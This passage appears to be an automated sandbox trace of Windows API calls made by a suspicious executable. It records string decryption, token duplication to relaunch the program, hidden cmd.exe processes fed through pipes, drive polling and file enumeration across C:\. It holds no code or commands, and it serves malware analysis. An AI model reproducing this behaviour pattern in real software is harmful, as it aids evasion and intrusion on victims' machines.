phKey=0xecf774*=0xf9400) returned 1 [0036.066] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xecf75c, dwFlags=0x0) returned 1 [0036.066] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xecf728 | out: pbData=0x84e48, pdwDataLen=0xecf728) returned 1 [0036.066] CryptDestroyKey (hKey=0xf9400) returned 1 [0036.066] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0036.066] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0036.067] Wow64DisableWow64FsRedirection (in: OldValue=0xecf810 | out: OldValue=0xecf810*=0x0) returned 1 [0036.067] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0036.067] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x761b0000 [0036.067] GetProcAddress (hModule=0x761b0000, lpProcName="CreateProcessWithTokenW") returned 0x761c0c70 [0036.067] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x81008, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0036.067] GetShellWindow () returned 0x100f0 [0036.067] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0xecf818 | out: lpdwProcessId=0xecf818) returned 0x864 [0036.068] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x860) returned 0x228 [0036.068] OpenProcessToken (in: ProcessHandle=0x228, DesiredAccess=0x2000000, TokenHandle=0xecf824 | out: TokenHandle=0xecf824*=0x22c) returned 1 [0036.068] DuplicateTokenEx (in: hExistingToken=0x22c, dwDesiredAccess=0x2000000, lpTokenAttributes=0xecf804, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xecf820 | out: phNewToken=0xecf820*=0x230) returned 1 [0036.068] CreateProcessWithTokenW (in: hToken=0x230, dwLogonFlags=0x0, lpApplicationName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe", lpCommandLine=0x0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xecf7b0*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xecf7f4 | out: lpCommandLine=0x0, lpProcessInformation=0xecf7f4*(hProcess=0x26c, hThread=0x270, dwProcessId=0xf98, dwThreadId=0xf8c)) returned 1 [0036.202] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x50) returned 0x84e48 [0036.202] CryptImportKey (in: hProv=0xe6710, pbData=0xecf70c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xecf774 | out: phKey=0xecf774*=0xf9000) returned 1 [0036.202] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0xecf75c, dwFlags=0x0) returned 1 [0036.202] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xecf728 | out: pbData=0x84e48, pdwDataLen=0xecf728) returned 1 [0036.202] CryptDestroyKey (hKey=0xf9000) returned 1 [0036.203] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0036.203] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75ea6b50 [0036.203] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0036.203] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0036.203] CloseHandle (hObject=0x228) returned 1 [0036.203] CloseHandle (hObject=0x26c) returned 1 [0036.203] CloseHandle (hObject=0x270) returned 1 [0036.203] CloseHandle (hObject=0x22c) returned 1 [0036.203] CloseHandle (hObject=0x230) returned 1 [0036.203] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81008 | out: hHeap=0x80000) returned 1 Thread: id = 10 os_tid = 0xd78 [0041.344] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x81070 [0041.344] CryptImportKey (in: hProv=0xe6710, pbData=0xecf9fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xecfa64 | out: phKey=0xecfa64*=0xf9400) returned 1 [0041.344] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xecfa4c, dwFlags=0x0) returned 1 [0041.344] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0xecfa18 | out: pbData=0x81070, pdwDataLen=0xecfa18) returned 1 [0041.344] CryptDestroyKey (hKey=0xf9400) returned 1 [0041.344] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x14) returned 0x81098 [0041.345] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x14) returned 0x81200 [0041.345] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81220 [0041.345] CryptImportKey (in: hProv=0xe6710, pbData=0xecf9d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xecfa3c | out: phKey=0xecfa3c*=0xf9400) returned 1 [0041.345] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xecfa24, dwFlags=0x0) returned 1 [0041.345] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81220, pdwDataLen=0xecf9f0 | out: pbData=0x81220, pdwDataLen=0xecf9f0) returned 1 [0041.345] CryptDestroyKey (hKey=0xf9400) returned 1 [0041.345] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81220 | out: hHeap=0x80000) returned 1 [0041.345] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x81098, nSize=0xa | out: lpDst="") returned 0x1c [0041.345] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81200 | out: hHeap=0x80000) returned 1 [0041.345] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x81098, Size=0x26) returned 0x81098 [0041.345] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x26) returned 0x81200 [0041.345] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81230 [0041.345] CryptImportKey (in: hProv=0xe6710, pbData=0xecf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xecfa38 | out: phKey=0xecfa38*=0xf9500) returned 1 [0041.345] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0xecfa20, dwFlags=0x0) returned 1 [0041.345] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81230, pdwDataLen=0xecf9ec | out: pbData=0x81230, pdwDataLen=0xecf9ec) returned 1 [0041.345] CryptDestroyKey (hKey=0xf9500) returned 1 [0041.345] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81230 | out: hHeap=0x80000) returned 1 [0041.345] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x81098, nSize=0x13 | out: lpDst="") returned 0x1c [0041.345] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81200 | out: hHeap=0x80000) returned 1 [0041.345] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x81098, Size=0x4a) returned 0x81200 [0041.345] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x4a) returned 0x81258 [0041.345] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x812b0 [0041.345] CryptImportKey (in: hProv=0xe6710, pbData=0xecf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xecfa38 | out: phKey=0xecfa38*=0xf9400) returned 1 [0041.345] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xecfa20, dwFlags=0x0) returned 1 [0041.345] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x812b0, pdwDataLen=0xecf9ec | out: pbData=0x812b0, pdwDataLen=0xecf9ec) returned 1 [0041.345] CryptDestroyKey (hKey=0xf9400) returned 1 [0041.345] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812b0 | out: hHeap=0x80000) returned 1 [0041.345] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x81200, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0041.345] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81258 | out: hHeap=0x80000) returned 1 [0041.345] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0041.345] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x50) returned 0x81070 [0041.345] CryptImportKey (in: hProv=0xe6710, pbData=0xecf9f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xecfa5c | out: phKey=0xecfa5c*=0xf9400) returned 1 [0041.345] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xecfa44, dwFlags=0x0) returned 1 [0041.345] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0xecfa10 | out: pbData=0x81070, pdwDataLen=0xecfa10) returned 1 [0041.345] CryptDestroyKey (hKey=0xf9400) returned 1 [0041.346] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0041.346] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0041.346] Wow64DisableWow64FsRedirection (in: OldValue=0xecfb14 | out: OldValue=0xecfb14*=0x0) returned 1 [0041.346] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0041.346] CreatePipe (in: hReadPipe=0xecfb20, hWritePipe=0xecfb24, lpPipeAttributes=0xecfafc, nSize=0x0 | out: hReadPipe=0xecfb20*=0x27c, hWritePipe=0xecfb24*=0x280) returned 1 [0041.346] CreatePipe (in: hReadPipe=0xecfb1c, hWritePipe=0xecfb18, lpPipeAttributes=0xecfafc, nSize=0x0 | out: hReadPipe=0xecfb1c*=0x284, hWritePipe=0xecfb18*=0x288) returned 1 [0041.346] SetHandleInformation (hObject=0x280, dwMask=0x1, dwFlags=0x0) returned 1 [0041.351] SetHandleInformation (hObject=0x284, dwMask=0x1, dwFlags=0x0) returned 1 [0041.351] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xecfaa8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x27c, hStdOutput=0x288, hStdError=0x288), lpProcessInformation=0xecfaec | out: lpCommandLine=0x0, lpProcessInformation=0xecfaec*(hProcess=0x290, hThread=0x28c, dwProcessId=0xf7c, dwThreadId=0xd94)) returned 1 [0041.676] WriteFile (in: hFile=0x280, lpBuffer=0x810d0*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0xecfb08, lpOverlapped=0x0 | out: lpBuffer=0x810d0*, lpNumberOfBytesWritten=0xecfb08*=0xbc, lpOverlapped=0x0) returned 1 [0041.676] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xffffffff) Thread: id = 11 os_tid = 0xf5c [0041.651] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x81070 [0041.651] CryptImportKey (in: hProv=0xe6710, pbData=0x100fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x100fd0c | out: phKey=0x100fd0c*=0xf9400) returned 1 [0041.651] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x100fcf4, dwFlags=0x0) returned 1 [0041.651] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0x100fcc0 | out: pbData=0x81070, pdwDataLen=0x100fcc0) returned 1 [0041.651] CryptDestroyKey (hKey=0xf9400) returned 1 [0041.651] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x14) returned 0x81098 [0041.651] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x14) returned 0x81258 [0041.651] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81278 [0041.651] CryptImportKey (in: hProv=0xe6710, pbData=0x100fc7c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x100fce4 | out: phKey=0x100fce4*=0xf9400) returned 1 [0041.651] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x100fccc, dwFlags=0x0) returned 1 [0041.651] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81278, pdwDataLen=0x100fc98 | out: pbData=0x81278, pdwDataLen=0x100fc98) returned 1 [0041.651] CryptDestroyKey (hKey=0xf9400) returned 1 [0041.651] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81278 | out: hHeap=0x80000) returned 1 [0041.651] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x81098, nSize=0xa | out: lpDst="") returned 0x1c [0041.651] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81258 | out: hHeap=0x80000) returned 1 [0041.652] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x81098, Size=0x26) returned 0x81098 [0041.652] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x26) returned 0x81258 [0041.652] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81288 [0041.652] CryptImportKey (in: hProv=0xe6710, pbData=0x100fc78, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x100fce0 | out: phKey=0x100fce0*=0xf9500) returned 1 [0041.652] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0x100fcc8, dwFlags=0x0) returned 1 [0041.652] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81288, pdwDataLen=0x100fc94 | out: pbData=0x81288, pdwDataLen=0x100fc94) returned 1 [0041.652] CryptDestroyKey (hKey=0xf9500) returned 1 [0041.652] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81288 | out: hHeap=0x80000) returned 1 [0041.652] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x81098, nSize=0x13 | out: lpDst="") returned 0x1c [0041.652] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81258 | out: hHeap=0x80000) returned 1 [0041.652] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x81098, Size=0x4a) returned 0x81258 [0041.652] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x4a) returned 0x812b0 [0041.652] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81308 [0041.652] CryptImportKey (in: hProv=0xe6710, pbData=0x100fc78, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x100fce0 | out: phKey=0x100fce0*=0xf9400) returned 1 [0041.652] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x100fcc8, dwFlags=0x0) returned 1 [0041.652] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81308, pdwDataLen=0x100fc94 | out: pbData=0x81308, pdwDataLen=0x100fc94) returned 1 [0041.652] CryptDestroyKey (hKey=0xf9400) returned 1 [0041.652] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81308 | out: hHeap=0x80000) returned 1 [0041.652] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x81258, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0041.652] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812b0 | out: hHeap=0x80000) returned 1 [0041.652] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0041.652] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x50) returned 0x81070 [0041.652] CryptImportKey (in: hProv=0xe6710, pbData=0x100fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x100fd04 | out: phKey=0x100fd04*=0xf9400) returned 1 [0041.652] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x100fcec, dwFlags=0x0) returned 1 [0041.652] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0x100fcb8 | out: pbData=0x81070, pdwDataLen=0x100fcb8) returned 1 [0041.652] CryptDestroyKey (hKey=0xf9400) returned 1 [0041.652] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0041.652] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0041.652] Wow64DisableWow64FsRedirection (in: OldValue=0x100fdbc | out: OldValue=0x100fdbc*=0x0) returned 1 [0041.652] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0041.652] CreatePipe (in: hReadPipe=0x100fdc8, hWritePipe=0x100fdcc, lpPipeAttributes=0x100fda4, nSize=0x0 | out: hReadPipe=0x100fdc8*=0x2a4, hWritePipe=0x100fdcc*=0x2a8) returned 1 [0041.653] CreatePipe (in: hReadPipe=0x100fdc4, hWritePipe=0x100fdc0, lpPipeAttributes=0x100fda4, nSize=0x0 | out: hReadPipe=0x100fdc4*=0x2ac, hWritePipe=0x100fdc0*=0x2b0) returned 1 [0041.653] SetHandleInformation (hObject=0x2a8, dwMask=0x1, dwFlags=0x0) returned 1 [0041.653] SetHandleInformation (hObject=0x2ac, dwMask=0x1, dwFlags=0x0) returned 1 [0041.653] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x100fd50*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2a4, hStdOutput=0x2b0, hStdError=0x2b0), lpProcessInformation=0x100fd94 | out: lpCommandLine=0x0, lpProcessInformation=0x100fd94*(hProcess=0x2b8, hThread=0x2b4, dwProcessId=0xe3c, dwThreadId=0xed8)) returned 1 [0041.660] WriteFile (in: hFile=0x2a8, lpBuffer=0x81198*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x100fdb0, lpOverlapped=0x0 | out: lpBuffer=0x81198*, lpNumberOfBytesWritten=0x100fdb0*=0x5b, lpOverlapped=0x0) returned 1 [0041.660] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) Thread: id = 26 os_tid = 0xcc8 Thread: id = 27 os_tid = 0xd04 [0046.422] GetLogicalDrives () returned 0x4 [0046.422] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x81370 [0046.422] CryptImportKey (in: hProv=0xe6710, pbData=0x26dfbb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x26dfc20 | out: phKey=0x26dfc20*=0xf9500) returned 1 [0046.422] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0x26dfc08, dwFlags=0x0) returned 1 [0046.422] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81370, pdwDataLen=0x26dfbd4 | out: pbData=0x81370, pdwDataLen=0x26dfbd4) returned 1 [0046.422] CryptDestroyKey (hKey=0xf9500) returned 1 [0046.422] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x28) returned 0x812b0 [0046.422] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c0 [0046.422] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2bc [0046.422] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x88158 [0046.422] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0xe) returned 0x88260 [0046.422] ResetEvent (hEvent=0x2bc) returned 1 [0046.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1083b2e, lpParameter=0x88158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0046.423] CloseHandle (hObject=0x2c4) returned 1 [0046.423] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x88188 [0046.423] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0xe) returned 0x881a0 [0046.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1083b2e, lpParameter=0x88188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0046.423] CloseHandle (hObject=0x2c4) returned 1 [0046.423] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) Thread: id = 28 os_tid = 0xf84 [0046.424] GetLogicalDrives () returned 0x4 [0046.424] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x812e0 [0046.424] CryptImportKey (in: hProv=0xe6710, pbData=0x281fda4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x281fe0c | out: phKey=0x281fe0c*=0xf9000) returned 1 [0046.424] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0x281fdf4, dwFlags=0x0) returned 1 [0046.424] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x812e0, pdwDataLen=0x281fdc0 | out: pbData=0x812e0, pdwDataLen=0x281fdc0) returned 1 [0046.424] CryptDestroyKey (hKey=0xf9000) returned 1 [0046.424] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x28) returned 0x81038 [0046.424] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c4 [0046.424] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c8 [0046.424] GetLogicalDrives () returned 0x4 [0046.424] Sleep (dwMilliseconds=0x3e8) [0047.630] GetLogicalDrives () returned 0x4 [0047.631] Sleep (dwMilliseconds=0x3e8) [0048.836] GetLogicalDrives () returned 0x4 [0048.836] Sleep (dwMilliseconds=0x3e8) [0050.375] GetLogicalDrives () returned 0x4 [0050.375] Sleep (dwMilliseconds=0x3e8) [0051.736] GetLogicalDrives () returned 0x4 [0051.736] Sleep (dwMilliseconds=0x3e8) [0053.118] GetLogicalDrives () returned 0x4 [0053.119] Sleep (dwMilliseconds=0x3e8) [0054.826] GetLogicalDrives () returned 0x4 [0054.826] Sleep (dwMilliseconds=0x3e8) [0056.142] GetLogicalDrives () returned 0x4 [0056.142] Sleep (dwMilliseconds=0x3e8) [0057.496] GetLogicalDrives () returned 0x4 [0057.496] Sleep (dwMilliseconds=0x3e8) [0058.645] GetLogicalDrives () returned 0x4 [0058.645] Sleep (dwMilliseconds=0x3e8) [0059.896] GetLogicalDrives () returned 0x4 [0059.896] Sleep (dwMilliseconds=0x3e8) [0061.464] GetLogicalDrives () returned 0x4 [0061.464] Sleep (dwMilliseconds=0x3e8) [0062.922] GetLogicalDrives () returned 0x4 [0062.922] Sleep (dwMilliseconds=0x3e8) [0063.947] GetLogicalDrives () returned 0x4 [0063.947] Sleep (dwMilliseconds=0x3e8) [0064.951] GetLogicalDrives () returned 0x4 [0064.951] Sleep (dwMilliseconds=0x3e8) Thread: id = 29 os_tid = 0x394 [0046.428] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x38) returned 0x81068 [0046.428] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x18) returned 0x81328 [0046.428] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2cc [0046.428] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d0 [0046.428] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d4 [0046.428] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x2b0048 [0046.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1083957, lpParameter=0x259fcb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0046.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1083957, lpParameter=0x259fcb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0046.430] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x2c0050 [0046.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x259fa28 | out: lpFindFileData=0x259fa28*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x259fc50, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0xf9000 [0046.431] GetLastError () returned 0x0 [0046.431] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x214) returned 0x88708 [0046.431] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0046.431] GetCurrentThreadId () returned 0x394 [0046.431] SetLastError (dwErrCode=0x0) [0046.431] GetLastError () returned 0x0 [0046.431] SetLastError (dwErrCode=0x0) [0046.432] GetLastError () returned 0x0 [0046.432] SetLastError (dwErrCode=0x0) [0046.432] GetLastError () returned 0x0 [0046.432] SetLastError (dwErrCode=0x0) [0046.432] GetLastError () returned 0x0 [0046.432] SetLastError (dwErrCode=0x0) [0046.432] GetLastError () returned 0x0 [0046.432] SetLastError (dwErrCode=0x0) [0046.432] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x2d0058 [0046.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0xf90c0 [0046.434] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0046.434] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, 